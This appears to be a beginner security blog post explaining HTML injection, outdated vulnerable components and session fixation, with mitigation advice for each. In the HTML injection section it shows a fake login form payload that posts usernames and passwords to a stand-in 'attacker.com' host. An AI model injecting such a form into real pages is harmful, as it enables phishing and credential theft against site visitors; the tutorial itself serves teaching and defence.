Let’s Learn HTML Injection, Session Fixation.

4 min readOct 19, 2020

HTML injection

What is HTML Injection

HTML Injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute Javascript code, the HTML injection attack only allows the injection of certain HTML tags.

example:

Here in“search art” i have used payload “<h1><u> hiiiiiii </u></h1>

Types:

Stored HTML Injection
Reflected HTML Injection

Let’s look at how HTML Injection used by attackers.

Malicious Actor discovers HTML Injection vulnerability.
Malicious Actor crafts malicious link, including his injected HTML content, and sends it to a victim via email, SMS, or any other way.
The victim visits the page due to the page being located within a trusted domain. Malicious actor’s Injected HTML is rendered and presented to the victim asking for a username and password
The victim enters a username and password, BOOM!!! now username and password both sent to the malicious actor’s server.

Payload:

<form action="attacker.com" method="POST">
 Username : <input type="text" name="uname">
 Password : <input type="text" name="pwd">
 <button type="submit">Submit</button>
</form>

Result:

Possible Damage:

Harming the reputation of the Website.
The website can be used as an attack vector for Phishing attacks.
The website can be used to trick users to download malicious content/malware.

Mitigation:

filter out the HTML content from the input.
escape all HTML tags. (best approach to defend against HTML injections)

Using Component of Outdated version

Using components with known vulnerabilities is one of the vulnerability categories on OWASP‘s list of the ten most common vulnerabilities.
Many time we often come across a website which uses old/outdated components.

Let’s Understand this by a simple example.

The user wants to create a website so he contacts to developer/company.
After initial meetings, both user and developer agree to what they are going to build and deploy.
The developer completes all requirements and deploys the website.
After a few months, some attackers visits the website and found that the website uses a component that is vulnerable.
Now attackers will take advantage of this component to compromise a website.

Mitigation:

If you are using any CMS like WordPress, drupal then when any new updates come on CMS then update it as soon as possible.
If you are using any 3rd party module on your website then check is there any new version is available of that module or not. if there is any update then update it on your website.
Remember if you are using any module, for example, you are using jquery version 3.0 and you found that jquery’s latest version is 4.5 then it’s not necessary that your website is at risk. you need to check is there any vulnerability in version 3.0

(You need to understand that if you are using any module/component and there is any vulnerability found on them then and then you need to update it or replace it)

Session Fixation

Let’s understand this with an example.

The attacker visits a website and visit to Login Page.
The website generates SessionID:abc987 and sends it to the attacker.
The attacker checks SessionID once and now the attacker sends this session-id to the victim/client.
Now victim/client visits that link and login to that website. An interesting point to note is that when the user/victim visits the link, the browser sends SessionID:abc987 in the request.
When the user login to the website and the Attacker revisits the website then it automatically login to the victim/user account.

In simple words “Attacker has first capture SessionID and sends it to victim now when a victim visits link and login to the website. At that time victim will use the Same SessionID so now the attacker just needs to revisit the website and BOOM!!!! it login to the victim website. because both are using the same SessionID”.

Mitigation:

Developers assign the session ID before the user is logged in. This is the main cause of typical session fixation attacks

The standard method is to change the session ID right after the user logs in. This eliminates most session fixation vulnerabilities
Invalidate session IDs after a timeout. For example, 10 minutes of no activity should cause an automatic logout.
Some sources recommend changing the session IDs with every user action.